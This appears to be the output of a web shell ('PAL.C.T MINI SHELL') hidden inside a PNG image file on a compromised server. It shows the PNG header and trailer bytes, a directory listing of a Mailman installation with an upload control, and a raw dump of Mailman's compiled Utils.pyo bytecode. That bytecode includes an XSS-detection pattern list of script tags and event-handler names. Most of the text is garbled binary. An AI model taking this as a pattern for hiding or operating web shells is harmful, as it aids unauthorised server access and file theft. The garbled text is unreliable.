php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/mailman/Mailman/
upload
files >> //usr/lib/mailman/Mailman/Utils.pyo

Pc@sdZddklZddkZddkZddkZddkZddkZddkZddk	Z	ddk
Z
ddkZddkZddk
ZddkZddklZddklZddklZlZyddklZWn)ej
odZeeiZnXdd	klZdd
klZddklZddkl Z dd
k!l"Z"y"ddk#Z#e#i$Z%e#i&Z'Wn=ej
o1ddk$Z$ddk(Z(e$i)Z%e(i)Z'nXye*e+fWne,j
odZ*dZ+nXdZ-dZ.dZ/dZ0eedZ1ei2dei3Z4ei2dei3Z5dZ6dZ7de*dZ8dZ9dZ:dZ;ei2dZ<ei2dZ=d Z>ei2d!Z?d"d#Z@de+d$ZBd%ZCe+d&ZDdZEdZFgZGxAeED]9ZHx0eFD](ZIeGiJeIeHeGiJeHeIqWq	W[I[Hd=ZKd>ZLeiMd?ZNd@ZOe*dAZPe*dBZQe*dCZRdDZSdEZTe+dFZUdGZVdHeWfdIYZXde+dddJZYde+dddKZZhddL6ddM6ddN6ddO6ddP6ddR6ddS6ddU6ddV6ddW6ddX6Z[dYZ\de*dZZ]de+d[Z^d\Z_d]Z`d^Zad_Zbd`ZcdddaZddaedbZfddcZgddZhdeZidfZjdgZkddhZlddiZmdjZndkZodldmdndodpdqdrdsdtdudvdwdxdydzd{d|d}d~ddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddgaZpei2diqepei3Zrei2dZsei2dei3ZtdZudZvdS(sMiscellaneous essential routines.

This includes actual message transmission routines, address checking and
message and address munging, a handy-dandy routine to map a function on all
the mailing lists, and whatever else doesn't belong elsewhere.

i(t
nested_scopesN(tHeaderParseError(tUnicodeType(t
whitespacetdigits(t
ascii_letterstabcdefghijklmnopqrstuvwxyz(tmm_cfg(tErrors(tSite(tSafeDict(tsyslogiitus
t.t_s%\(([_a-z]\w*?)\)s?s%(\${2})|\$([_a-z]\w*)|\${([_a-z]\w*)}cCsUti|}x?dD]7}tii|d|}tii|otSqWtS(s'Return true iff list `listname' exists.s.pcks	.pck.lasts.dbs.db.lasttconfig(s.pcks	.pck.lasts.dbs.db.last(R	tget_listpathtostpathtjointexiststTruetFalse(tlistnametbasepathtexttdbfile((sV/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Utils.pytlist_existsXs	cCs
tiS(s8Return the names of all lists in default list directory.(R	t
get_listnames(((sV/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Utils.pyt
list_namesgsiFcCsd}tid|}xt|D]l}g}t}x|itD]}|p|i|qAn|o|dtjo
t}	nt}	|o'|	o |did||d<n|i||	}qAWx|D]}x|ot||jo|}d}n\|}
x-|
djo||
tjo|
d8}
qW|
}x-|djo||tjo|d8}qHW|djo|}x3|t|jo||tjo|d7}qW|}
x3|
t|jo||
tjo|
d7}
qW|
d8}
n||d d}|
d7}
x3|
t|jo||
tjo|
d7}
q'W||
}||7}qW|d7}qW|d7}qW|d S(	sWrap and fill the text to the specified column.

    Wrapping is always in effect, although if it is not possible to wrap a
    line (because some word is longer than `column' characters) the line is
    broken at the next available whitespace boundary.  Paragraphs are also
    always filled, unless honor_leading_ws is true and the line begins with
    whitespace.  This is the algorithm that the Python FAQ wizard uses, and
    seems like a good compromise.

    Rs

iit is
i(	tretsplitRtNLtappendRRtrstriptlen(ttexttcolumnthonor_leading_wstwrappedtparastparatlinestfillprevtlinetfillthistbolteol((sV/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Utils.pytwraposj

 



$$
$
cCs"d}d}|i|i|S(Ns
 .
s
.
(RR (R%tJOINERtSEP((sV/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Utils.pytQuotePeriodsscCspd}d}|i}|id}|djo|dfS|| }||d}|id}||fS(Nt@iR
(tNonetlowertfindR (temailtusertdomaintat_signtrest((sV/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Utils.pyt
ParseEmails

cCs?|id}|djo|S|| d||diS(s3returns the address with the domain part lowercasedR5ii(R8R7(taddrtatind((sV/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Utils.pytLCDomains
s[][()<>|;^,\000-\037\177-\377]s[:\\"]cCs|p|iddjo
tinti|p|ddjoti|nt|\}}|pti|nt|djoti|n|ido
|i	dp$t
i|oti|qndS(s0Verify that an email address isn't grossly evil.Rit-it"N(tcountRtMMBadEmailErrort	_badcharstsearchtMMHostileAddressR>R$t
startswithtendswitht	_specials(tsR:tdomain_parts((sV/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Utils.pyt
ValidateEmails
! s[^\x21-\x7e]t	PATH_INFOcCstii|}|ohti|o$ti|d}tddng}|idD]}|o||qaqa~SdS(Niterrors(Warning: Possible malformed path attack.t/(RtenvirontgettCRNLpatRGR RR6(tenvarRt_[1]tp((sV/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Utils.pyt
GetPathPiecess4cCs1|djo3tit}|ddjo|d}q@ntiid}|djo,tiiddtiidd}nti|d}|ov|i|of|t	|}|i
d}|d	jo|idd	|}n|id}d
||}n||}|tiS(starget - scriptname only, nothing extra
    web_page_url - the list's configvar of the same name
    absolute - a flag which if set, generates an absolute url
    iRQtREQUEST_URItSCRIPT_NAMERROit?is../N(
R6RtDEFAULT_URL_PATTERNt
get_domainRRRRSturlparseRIR$R8RDtCGIEXT(ttargettweb_page_urltabsolutetfullpathtbaseurltiRDR((sV/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Utils.pyt	ScriptURLs$



cCs|i}t|\}}|g}|oS|d}xFt|djo.|id|ti|f|d}q;Wn|S(sreturns a sorted list of addresses that could possibly match
    a given name.

    For Example, given scott@pobox.com, return ['scott@pobox.com'],
    given scott@blackbox.pobox.com return ['scott@blackbox.pobox.com',
                                           'scott@pobox.com']iis%s@%s(R7R>R$R"tDOTR(tnameR:R;tres((sV/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Utils.pytGetPossibleMatchingAddrss	
 cCsQh}|o%x=|D]}t||i<qWnx|D]}t||<q9W|S(s<Return a dict keyed by the entries in the list passed to it.(RR7(tLtfoldcasetdRe((sV/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Utils.pyt	List2Dict0stateRetotutbtcRmtftgthtktmtnRWtrRLtttvtwtxtzcCsLg}x2t|d|jo|ititq	Wti|| S(Ni(R$R"trandomtchoicet
_syllablestEMPTYSTRINGR(tlengthtsyls((sV/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Utils.pytUserFriendly_MakeRandomPasswordHs
c
CsSd}g}d}zx||joyti||}Wnttfj
o|djocytidti}Wqtj
o7}|iti	jont
ddt|SXnti|||}nX|i
||t|7}qWtiti|}|idd| SWd|dj	oti|nXdS(Nis/dev/urandomRPs+urandom not available, passwords not secures
R(R6RturandomtAttributeErrortNotImplementedErrortopentO_RDONLYtOSErrorterrnotENOENTRRtreadR"R$tbase64tencodestringRRtreplacetclose(Rt	bytesreadtbytestfdtnewbytesRpRL((sV/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Utils.pytSecure_MakeRandomPasswordOs2



cCstiot|St|S(N(RtUSER_FRIENDLY_PASSWORDSRR(R((sV/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Utils.pytMakeRandomPasswordps
cCsRttid}ttid}d}dtt|||fS(Ni4cSs\d|jo
djno|d7}nd|jo
djno|d7}n|S(NiiiAi4iG((Rt((sV/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Utils.pytmkletterys
s%c%c(tintRttupletmap(tchr1tchr2R((sV/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Utils.pyt
GetRandomSeedvs	cCs{|o
ti}n
ti}tid}z:t|d}|it|id|i	Wdti|XdS(NiR~s
(
RtSITE_PW_FILEtLISTCREATOR_PW_FILERtumaskRtwritetsha_newt	hexdigestR(tpwt	siteadmintfilenametomasktfp((sV/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Utils.pytset_global_passwords
	cCs~|o
ti}n
ti}y*t|}|id }|iWn0tj
o$}|itijondSX|S(Ni(
RRRRRRtIOErrorRRR6(RRRt	challengeRp((sV/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Utils.pytget_global_passwords
	cCs4t|}|djodS|t|ijS(N(RR6RR(tresponseRR((sV/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Utils.pytcheck_global_passwords
cCsti|dtS(Ntquote(tcgitescapeR(RL((sV/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Utils.pytwebsafescCse|idd}t|djo6y|dt|dfSWq[tj
oq[Xn|dfS(Nt:iiiiw(R R$Rt
ValueError(RLtparts((sV/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Utils.pyt	nntpsplits	cCs,|o|iddS|iddSdS(sMake email address unrecognizable to web spiders, but invertable.

    When for_text option is set (not default), make a sentence fragment
    instead of a token.R5s at s--at--N(R(R?tfor_text((sV/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Utils.pytObscureEmailscCs|iddS(s!Invert ObscureEmail() conversion.s--at--R5(R(R?((sV/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Utils.pytUnobscureEmailst	OuterExitcBseZRS((t__name__t
__module__(((sV/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Utils.pyRscCsg}|dj	o|i|n|dj	o|i|in|itig}|dj	o9|i|i|itiiti	|i
n|itiiti	d|iti	d}yx|D]}}xt|D]l}tii|||}	yt|	}tWqt
j
o)}
|
itijond}qXqWqWWntj
onX|djovy+tiiti	d|}	t|	}Wqt
j
o8}
|
itijont
tid|qXn|i}|i|}|dj	oy`t|}
y|
i|}Wn:tj
o.t|t|d}|
i|}nXWqttfj
o}
tdd|	|
qXn|o||	fSt||	fS(NtsitetensNo template file foundRRPsbroken template: %s
%s(R6R"tpreferred_languageRtDEFAULT_SERVER_LANGUAGERcRRRtTEMPLATE_DIRt	host_nameRRRRRRRR
tinterpolatetUnicodeErrortunicodet
GetCharSett	TypeErrorRRR1(ttemplatefiletdicttrawtlangtmlistt	languagest
searchdirsRtdirRRpttemplateR%tsdictt	utemplate((sV/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Utils.pytfindtextsj4


&



	cCst|||||dS(Ni(R(RRRRR((sV/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Utils.pytmaketextAstconfirmthelptinfotliststoptionsitpasswordtremoveitsett	subscribetunsubscribetwhoc
Csd}g}xitii|D]U}|djoPn|io|d7}n|tijotS|i|qWti	|}t
i|iiot
S|d }t|idd}|i|x|D]}|ipqng}|iD]}||iq	~}	t
i|	dd\}
}|
djo|djoqn|
t|	djo
|jno.|	ddjo|	ddjoqnt
SqWtS(
Nis-- iitsubjectRRitontoff(NN(RR(R9t	Iteratorstbody_line_iteratortstripRtDEFAULT_MAIL_COMMANDS_MAX_LINESRR"R!Rt	ADMINDATAthas_keyR7RtstrRSR R6R$(tmsgtlinecntR+R-tbodytextt	bodylinesRRVtwordtwordstminargstmaxargs((sV/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Utils.pytis_administriviaXs<




-("	cCs|}tiidotid}nCtiido/tiidotidtid}n|ot|S|S(sReturn the full virtual path this CGI script was invoked with.

    Newer web servers seems to supply this info in the REQUEST_URI
    environment variable -- which isn't part of the CGI/1.1 spec.
    Thus, if REQUEST_URI isn't available, we concatenate SCRIPT_NAME
    and PATH_INFO, both of which are part of CGI/1.1.

    Optional argument `fallback' (default `None') is returned if both of
    the above methods fail.

    The url will be cgi escaped to prevent cross-site scripting attacks,
    unless `escape' is set to 0.
    RYRZRO(RRRRR(tfallbackRturl((sV/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Utils.pyt
GetRequestURIs&cCsx|o|o|nytidti\}}Wn:tj
o.}|itijon|iPnX|djo%y||=Wqtj
oqXn|oPqqWdS(Nii(RtwaitpidtWNOHANGRRtECHILDtcleartKeyError(tkidstfunctoncetpidtstatusRp((sV/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Utils.pytreaps$

	cCsti|dS(Ni(RtLC_DESCRIPTIONS(R((sV/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Utils.pytGetLanguageDescrscCsti|dS(Ni(RR(R((sV/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Utils.pyRscCsti|dS(Ni(RR(R((sV/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Utils.pytGetDirectionscCstii|S(N(RRR(R((sV/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Utils.pyt
IsLanguagescCstiidtiid}tiid}|o-|id|o|t|d }ntio|o|iStiot	i	tidpti
}|iSdS(Nt	HTTP_HOSTtSERVER_NAMEtSERVER_PORTRi(RRRRSRJR$RtVIRTUAL_HOST_OVERVIEWR7tDEFAULT_URLR^tDEFAULT_URL_HOST(thosttportthostname((sV/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Utils.pyR]s!
	cCs_|djotiitt}n|djodti|fSdti||fS(Ns%s@%ss%s-%s@%s(R6Rt
VIRTUAL_HOSTSRSR]tMAILMAN_SITE_LIST(Rtextra((sV/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Utils.pytget_site_emails


cCs<dttiti|i|if}td7a|S(Ns<mailman.%d.%d.%d.%s@%s>i(t_serialttimeRtgetpidt
internal_nameR(Rtmsgid((sV/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Utils.pytunique_message_ids

cCs6|djotid }nti|ddS(Niiii(i(iiiii(i(R6Rt	localtimetmktime(tdate((sV/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Utils.pytmidnights
cCs|iddidd}ti|}xttdt|dD]Z}||do3||ddtjod||d	||<qFd||||<qFWti|S(
s$Convert from %-strings to $-strings.t$s$$s%%t%iiis${t}(RtcreR trangeR$t
IDENTCHARSRR(RLRRe((sV/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Utils.pyt	to_dollars(cCs|iddidd}ti|}xtdt|dD]z}||d
j	od||<qF||dd
j	o"d||dd||d<qFd||d	d||d	<qFWtitd
|S(s$Convert from $-strings to %-strings.R"s%%s$$R!iis%(s)siN(	RtdreR R%R$R6RRtfilter(RLRRe((sV/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Utils.pyt
to_percents""cCsih}x\tdg}ti|D]$\}}}||p|pdq#~D]}t||<qQW|S(s?Return the set (dictionary) of identifiers found in a $-string.N(R)R6R(tfindallR(RLRmRVRoRsRtRh((sV/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Utils.pytdollar_identifierss
KcCs.h}x!ti|D]}t||<qW|S(s?Return the set (dictionary) of identifiers found in a %-string.(R$R+R(RLRmRh((sV/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Utils.pytpercent_identifierss
csgtid|}fd}xtoi|id|pPn|id}|idoGy|t|dWqtj
oid|dqXq*ti	i
|d}|ido+|ido|t|dd	!q*i|q*Wti
}t|to|S|djo
d
}n$t|}|djo
d
}nt||dS(
Ns&(?P<ref>[^;]+);cs;|djoit|nit|dS(Ni(R"tchrtunichr(Re(tnewparts(sV/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Utils.pytappchr*s
it#it&t;R[is
iso-8859-1sus-asciiR(RR RR"tpopRIRRthtmlentitydefst
entitydefsRSRJRRt
isinstanceRR6RR(RLRRR1trefRttnewstrtcharset((R0sV/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Utils.pytcanonstr's6 



cCs|djo
d}n|djo
d}n
t|}y5t|to|i|St||}|SWntj
ot|SXdS(Nusus-ascii(R6RR8RtencodeRRtuquote(RLRR;Rr((sV/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Utils.pyt
uncanonstrUs



cCseg}xI|D]A}t|}|djo|id|q
|i|q
Wtti|S(Nis&#%3d;(tordR"RRR(RLRoRtRq((sV/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Utils.pyR>js
cCsyStiitii|}|i}ti|i}|i|dSWn/t	t
ttfj
ot
i|iSXdS(NR(R9tHeadertmake_headert
decode_headert__unicode__tUEMPTYSTRINGRt
splitlinesR=tLookupErrorRRRR(RLtcsetRwtustrR-((sV/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Utils.pytonelinevss<i?frames2<link(?! rel="SHORTCUT ICON" href="<mm-favicon>">)s<metas<objects<scripts(?:^|\W)j(?:ava)?script(?:\W|$)s(?:^|\W)vbs(?:cript)?(?:\W|$)s(?:^|\W)domactivate(?:\W|$)s(?:^|\W)domattrmodified(?:\W|$)s((?:^|\W)domcharacterdatamodified(?:\W|$)s"(?:^|\W)domfocus(?:in|out)(?:\W|$)s((?:^|\W)dommenuitem(?:in)?active(?:\W|$)s(?:^|\W)dommousescroll(?:\W|$)s0(?:^|\W)domnodeinserted(?:intodocument)?(?:\W|$)s/(?:^|\W)domnoderemoved(?:fromdocument)?(?:\W|$)s"(?:^|\W)domsubtreemodified(?:\W|$)s(?:^|\W)fscommand(?:\W|$)s(?:^|\W)onabort(?:\W|$)s!(?:^|\W)on(?:de)?activate(?:\W|$)s'(?:^|\W)on(?:after|before)print(?:\W|$)s((?:^|\W)on(?:after|before)update(?:\W|$)sD(?:^|\W)onbefore(?:(?:de)?activate|copy|cut|editfocus|paste)(?:\W|$)s(?:^|\W)onbeforeunload(?:\W|$)s(?:^|\W)onbegin(?:\W|$)s(?:^|\W)onblur(?:\W|$)s(?:^|\W)onbounce(?:\W|$)s(?:^|\W)onbroadcast(?:\W|$)s!(?:^|\W)on(?:cell)?change(?:\W|$)s%(?:^|\W)oncheckboxstatechange(?:\W|$)s(?:^|\W)on(?:dbl)?click(?:\W|$)s(?:^|\W)onclose(?:\W|$)s$(?:^|\W)oncommand(?:update)?(?:\W|$)s*(?:^|\W)oncomposition(?:end|start)(?:\W|$)s(?:^|\W)oncontextmenu(?:\W|$)s(?:^|\W)oncontrolselect(?:\W|$)s(?:^|\W)oncopy(?:\W|$)s(?:^|\W)oncut(?:\W|$)s(?:^|\W)ondataavailable(?:\W|$)s-(?:^|\W)ondataset(?:changed|complete)(?:\W|$)sA(?:^|\W)ondrag(?:drop|end|enter|exit|gesture|leave|over)?(?:\W|$)s(?:^|\W)ondragstart(?:\W|$)s(?:^|\W)ondrop(?:\W|$)s(?:^|\W)onend(?:\W|$)s"(?:^|\W)onerror(?:update)?(?:\W|$)s(?:^|\W)onfilterchange(?:\W|$)s(?:^|\W)onfinish(?:\W|$)s"(?:^|\W)onfocus(?:in|out)?(?:\W|$)s(?:^|\W)onhelp(?:\W|$)s(?:^|\W)oninput(?:\W|$)s&(?:^|\W)onkey(?:up|down|press)(?:\W|$)s (?:^|\W)onlayoutcomplete(?:\W|$)s(?:^|\W)on(?:un)?load(?:\W|$)s(?:^|\W)onlosecapture(?:\W|$)s)(?:^|\W)onmedia(?:complete|error)(?:\W|$)sB(?:^|\W)onmouse(?:down|enter|leave|move|out|over|up|wheel)(?:\W|$)s$(?:^|\W)onmove(?:end|start)?(?:\W|$)s (?:^|\W)on(?:off|on)line(?:\W|$)s(?:^|\W)onoutofsync(?:\W|$)s&(?:^|\W)onoverflow(?:changed)?(?:\W|$)s#(?:^|\W)onpage(?:hide|show)(?:\W|$)s(?:^|\W)onpaint(?:\W|$)s(?:^|\W)onpaste(?:\W|$)s(?:^|\W)onpause(?:\W|$)s6(?:^|\W)onpopup(?:hidden|hiding|showing|shown)(?:\W|$)s(?:^|\W)onprogress(?:\W|$)s (?:^|\W)onpropertychange(?:\W|$)s"(?:^|\W)onradiostatechange(?:\W|$)s"(?:^|\W)onreadystatechange(?:\W|$)s(?:^|\W)onrepeat(?:\W|$)s(?:^|\W)onreset(?:\W|$)s&(?:^|\W)onresize(?:end|start)?(?:\W|$)s(?:^|\W)onresume(?:\W|$)s(?:^|\W)onreverse(?:\W|$)s3(?:^|\W)onrow(?:delete|enter|exit|inserted)(?:\W|$)s/(?:^|\W)onrows(?:delete|enter|inserted)(?:\W|$)s(?:^|\W)onscroll(?:\W|$)s(?:^|\W)onseek(?:\W|$)s"(?:^|\W)onselect(?:start)?(?:\W|$)s!(?:^|\W)onselectionchange(?:\W|$)s(?:^|\W)onstart(?:\W|$)s(?:^|\W)onstop(?:\W|$)s(?:^|\W)onsubmit(?:\W|$)s+(?:^|\W)onsync(?:from|to)preference(?:\W|$)s(?:^|\W)onsyncrestored(?:\W|$)s(?:^|\W)ontext(?:\W|$)s(?:^|\W)ontimeerror(?:\W|$)s(?:^|\W)ontrackchange(?:\W|$)s(?:^|\W)onunderflow(?:\W|$)s(?:^|\W)onurlflip(?:\W|$)s(?:^|\W)seeksegmenttime(?:\W|$)s(?:^|\W)svgabort(?:\W|$)s(?:^|\W)svgerror(?:\W|$)s(?:^|\W)svgload(?:\W|$)s(?:^|\W)svgresize(?:\W|$)s(?:^|\W)svgscroll(?:\W|$)s(?:^|\W)svgunload(?:\W|$)s(?:^|\W)svgzoom(?:\W|$)t|s
[-	--]s,(&#[0-9]+;?)|(&#x[0-9a-f]+;?)|(%[0-9a-f]{2})cCs|iiid}yJ|idp|idot|dd}nt|d}Wntj
odSX|djot|SdSd	S(
s=Translate &#... and %xx encodings into the encoded character.s&#;RR"iii
RiN(tgroupR7RRIRRR.(tmotmatchtval((sV/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Utils.pyt
_translates 
cCs5titidtit|otStSdS(sWCheck HTML string for various tags, script language names and
    'onxxx' actions that can be used in XSS attacks.
    Currently, this a very simple minded test.  It just looks for
    patterns without analyzing context.  Thus, it potentially flags lots
    of benign stuff.
    Returns True if anything suspicious found, False otherwise.
    RN(t_badhtmlRGt_filtercharstsubt
_encodedcharsRPRR(thtml((sV/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Utils.pytsuspiciousHTMLs	(RoRpReRqRr(RsRtRmRuRvRwRxRyRzRWR{RLR|R}R~RR(ii(ii(ii(ii(ii(ii(ii(ii(ii(ii(ii(wt__doc__t
__future__RRtsysRRRRRRR^R6temail.HeaderR9temail.Iteratorstemail.ErrorsRttypesRtstringRRRtImportErrort_lowertuppertMailmanRRR	tMailman.SafeDictR
tMailman.Logging.SyslogRthashlibtmd5tmd5_newtsha1RtshatnewRRt	NameErrorRRER!RgR&tcompilet
IGNORECASER$R(RRR1R4R>RARFRKRNRTRXR6RfRjRnt_vowelst_consonantsRR}RtR"RRtMEMBER_PASSWORD_LENGTHRRRRRRRRRt	ExceptionRRRRRRRRRRR	R]RRRR R'R*R,R-R<R?R>RJt	_badwordsRRQRRRTRPRV(((sV/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Utils.pyt<module>s	
			K		
				
		!			
	o
	'										.					
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`